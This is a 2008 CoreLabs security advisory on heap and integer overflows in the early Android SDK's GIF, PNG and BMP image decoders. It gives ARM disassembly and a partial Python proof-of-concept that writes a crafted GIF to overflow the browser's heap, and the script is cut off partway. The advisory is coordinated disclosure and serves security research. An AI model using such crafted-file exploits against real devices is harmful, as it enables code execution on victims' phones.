|
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs
Multiple vulnerabilities in Google's Android SDK
*Advisory Information*
Title: Multiple vulnerabilities in Google's Android SDK
Advisory ID: CORE-2008-0124
Advisory URL: http://www.coresecurity.com/?action=item&id=2148
Date published: 2008-03-04
Date of last update: 2008-03-04
Vendors contacted: Google
Release mode: Coordinated release
*Vulnerability Information*
Class: Heap overflow, integer overflow
Remotely Exploitable: No
Locally Exploitable: No
Bugtraq ID: 28006, 28005
CVE Name: CVE-2008-0986, CVE-2008-0985, CVE-2006-5793, CVE-2007-2445,
CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269
*Vulnerability Description*
Android is project promoted primarily by Google through the Open Handset
Alliance aimed at providing a complete set of software for mobile
devices: an operating system, middleware and key mobile applications
[1]. Although the project is currently in a development phase and has
not made an official release yet, several vendors of mobile chips have
unveiled prototype phones built using development releases of the
platform at the Mobile World Congress [2]. Development using the Android
platform gained activity early in 2008 as a result of Google's launch of
the Android Development Challenge which includes $10 million USD in
awards [3] for which a Software Development Kit (SDK) was made available
in November 2007.
The Android Software Development Kit includes a fully functional
operating system, a set of core libraries, application development
frameworks, a virtual machine for executing application and a phone
emulator based on the QEMU emulator [4]. Public reports as of February
27th, 2008 state that the Android SDK has been downloaded 750,000 times
since November 2007 [5].
Several vulnerabilities have been found in Android's core libraries for
processing graphic content in some of the most used image formats (PNG,
GIF an BMP). While some of these vulnerabilities stem from the use of
outdated and vulnerable open source image processing libraries other
were introduced by native Android code that use them or that implements
new functionality.
Exploitation of these vulnerabilities to yield complete control of a
phone running the Android platform has been proved possible using the
emulator included in the SDK, which emulates phone running the Android
platform on an ARM microprocessor.
This advisory contains technical descriptions of these security bugs,
including a proof of concept exploit to run arbitrary code, proving the
possibility of running code on Android stack (over an ARM architecture)
via a binary exploit.
*Vulnerable Packages*
. Android SDK m3-rc37a and earlier are vulnerable several bugs in
components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of
this advisory).
. Android SDK m5-rc14 is vulnerable to a security bug in the component
that process BMP images (bug #3).
*Non-vulnerable Packages*
. Android SDK m5-rc15
*Vendor Information, Solutions and Workarounds*
Vendor statement:
"The current version of the Android SDK is an early look release to the
open source community, provided so that developers can begin working
with the platform to inform and shape our development of Android toward
production readiness. The Open Handset Alliance welcomes input from the
security community throughout this process. There will be many changes
and updates to the platform before Android is ready for end users,
including a full security review."
*Credits*
These vulnerabilities were discovered by Alfredo Ortega from Core
Security Technologies, leading his Bugweek 2007 team called "Pampa
Grande". It was researched in depth by Alfredo Ortega.
*Technical Description / Proof of Concept Code*
Android is a software stack for mobile devices that includes an
operating system, middleware and key applications. Android relies on
Linux version 2.6 for core system services such as security, memory
management, process management, network stack, and driver model. The
kernel also acts as an abstraction layer between the hardware and the
rest of the software stack.
The WebKit application framework is included to facilitate development
of web client application functionality. The framework in turn uses
different third-party open source libraries to implement processing of
several image formats.
Android includes a web browser based on the Webkit framework that
contains multiple binary vulnerabilities when processing .GIF, .PNG and
.BMP image files, allowing malicious client-side attacks on the web
browser. A client-side attack could be launched from a malicious web
site, hosting specially crafted content, with the possibility of
executing arbitrary code on the victim's Android system.
These client-side binary vulnerabilities were discovered using the
Android SDK that includes an ARM architecture emulator. Binary
vulnerabilities are the most common security bugs in computer software.
Basic bibliography on these vulnerabilities includes a recently updated
handbook about security holes that also describes current
state-of-the-start exploitation techniques for different hardware
platforms and operating systems [6].
The vulnerabilities discovered are summarized below grouped by the type
of image file format that is parsed by the vulnerable component.
#1 - GIF image parsing heap overflow
The Graphics Interchange Format (GIF) is image format dating at least
from 1989 [7]. It was popularized because GIF images can be compressed
using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the
memory footprint and bandwidth required for transmission and storage.
A memory corruption condition happens within the GIF processing library
of the WebKit framework when the function 'GIFImageDecoder::onDecode()'
allocates a heap buffer based on the _Logical Screen Width and Height_
filed of the GIF header (offsets 6 and 8) and then the resulting buffer
is filled in with an amount of data bytes that is calculated based on
the real Width and Height of the GIF image. There is a similar (if not
the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the
open-source version included by Android in
'WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp'
inside 'webkit-522-android-m3-rc20.tar.gz' available at [8].
Detailed analysis:
When the process 'com.google.android.browser' must handle content with
a GIF file it loads a dynamic library called 'libsgl.so' which contains
the decoders for multiple image file formats.
Decoding of the GIF image is performed correctly by the library giflib
4.0 (compiled inside 'libsgl.so'). However, the wrapper object
'GIFImageDecoder' miscalculates the total size of the image.
First, the Logical Screen Size is read and stored in the following
calling sequence (As giflib is an Open Source MIT-licenced library, the
source was available for analysis):
'GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()'. The last
function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and
Height_ in a structure called 'GifFileType':
/-----------
Int DGifGetScreenDesc(GifFileType * GifFile) {
...
/* Put the screen descriptor into the file: */
if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR ||
DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR)
return GIF_ERROR;
...
}
- -----------/
We can see that the fields are stored in the first 2 words of the
structure:
/-----------
typedef struct GifFileType {
/* Screen dimensions. */
GifWord SWidth, SHeight,
...
}
- -----------/
In the disassembly of the GIFImageDecoder::onDecode() function provided
below we can see how the DGifOpen() function is called and that the
return value (A GifFileType struct) is stored on the $R5 ARM register:
/-----------
.text:0002F234 BL _DGifOpen
.text:0002F238 SUBS R5, R0, #0 ; GifFile -_ $R5
- -----------/
Then, the giflib function 'DGifSlurp()' is called and the Image size is
correctly allocated using the Image Width and Height and not the Logical
Screen Size:
/-----------
Int DGifSlurp(GifFileType * GifFile)
{ ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height;
sp->RasterBits = (unsigned char *)malloc(ImageSize *
sizeof(GifPixelType));
...
}
- -----------/
Afterwards the _Logical Screen_ Width and Height are stored in the R9
and R11 registers:
/-----------
.text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight !
- -----------/
However the actual image may be much larger that these sizes that are
incorrectly passed to a number of methods of the 'GIFImageDecoder':
/-----------
ImageDecoder::chooseFromOneChoice():
.text:0002F294 MOV R0, R8
.text:0002F298 MOV R1, #3
.text:0002F29C MOV R2, R9
.text:0002F2A0 MOV R3, R11
.text:0002F2A4 STR R12, [SP,#0x48+var_3C]
.text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice;
ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int
,int)
Bitmap::setConfig():
.text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap
.text:0002F2BC MOV R1, #3
.text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight !
.text:0002F2C4 MOV R3, R11
.text:0002F2C8 STR R10, [SP,#0x48+var_48]
.text:0002F2CC BL _Bitmap9setConfig ;
Bitmap::setConfig(SkBitmap::Config,uint,uint,uint)
- -----------/
This function stores the SWidth and SHeight inside the Bitmap object as
shown in the following code snippet:
/-----------
.text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7
.text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8
.text:00035C40 MOV R4, R0 ; $R4 = *Bitmap
- -----------/
And later:
/-----------
.text:00035C58 BL _Bitmap15ComputeRowBytes ;
SkBitmap::ComputeRowBytes(SkBitmap::Config,uint)
.text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes
.text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth
.text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight
.text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes
- -----------/
The following python script generates a GIF file that causes the
overflow. It requires the Python Imaging Library. Once generated the GIF
file, it must be opened in the Android browser to trigger the overflow:
/-----------
##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a
import Image
import struct
#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')
#Shrink the Logical screen dimension
SWidth=1
SHeight=1
img = open(imagename,'rb').read()
img = img[:6]+struct.pack('